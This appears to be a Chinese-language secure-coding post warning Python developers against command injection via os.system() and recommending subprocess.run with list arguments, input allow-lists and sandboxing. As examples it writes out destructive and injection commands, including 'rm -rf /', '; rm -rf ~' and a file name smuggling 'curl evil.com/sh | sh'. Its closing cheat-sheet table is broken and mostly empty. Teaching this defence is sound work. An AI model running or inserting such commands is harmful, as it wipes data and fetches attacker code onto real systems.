你以为只是调个命令,其实是在给黑客递刀 🗡️
os.system("rm -rf /") 看着人畜无害?错!
它不校验、不转义、不隔离,直接把用户输入喂给 shell。
一旦参数里混进 ; rm -rf ~,你的家目录就没了。
这不是危言耸听——2023 年 GitHub 上超 12% 的 Python 安全漏洞都源于命令注入。
为什么 os.system() 是“定时炸弹”?💣
它底层调用的是 /bin/sh -c,天然支持 shell 语法。
这意味着 &、|、;、$(...) 全部生效。
你传个文件名 test; curl evil.com/sh | sh,系统真会执行!
别笑,我见过生产环境因此被挖矿的案例。
安全第一招:用 subprocess.run(),但别乱用!
官方推荐替代方案是 subprocess 模块。
关键点:永远用列表传参,禁用 shell!
✅ 正确姿势:subprocess.run(["ls", "-l", user_input])
❌ 危险操作:subprocess.run(f"ls {user_input}", shell=True)
后者和 os.system() 一样危险,别自欺欺人。
高阶防御:输入验证 + 白名单,双保险 🔒
就算用了 subprocess,也别盲目信任用户输入。
比如你要执行 git checkout <branch>,先检查 branch 是否只含字母/数字/下划线。
更狠一点?直接建个允许分支白名单:["main", "dev", "feature-x"]。
宁可功能受限,也不给攻击者留缝。
极致安全:沙箱 + 权限最小化,大佬都这么干 👨💻
真要执行不可控命令?考虑用容器或 chroot 隔离。
Docker 跑个临时容器,命令跑完就销毁,干净利落。
同时,Python 进程本身用低权限用户运行,哪怕被攻破也掀不起大浪。
安全不是功能,是架构思维。
别被“方便”绑架,技术债迟早要还 💸
我知道,os.system() 写起来快,调试顺手。
但上线后呢?一个疏忽,数据泄露、服务器沦陷、公司上新闻……
省下的那两行代码,可能赔上整个团队半年的 KPI。
真正的效率,是写一次就安心。
最后送你一张“安全命令执行速查表”📊
| | |
|---|
| subprocess.run([...], shell=False) | |
| | |
| | |
| | |
记住:没有绝对安全的代码,只有不断加固的防线。
下次写 os.system() 前,先问自己:
“这行代码,值不值得我半夜被 PagerDuty 叫醒?” 😴🚨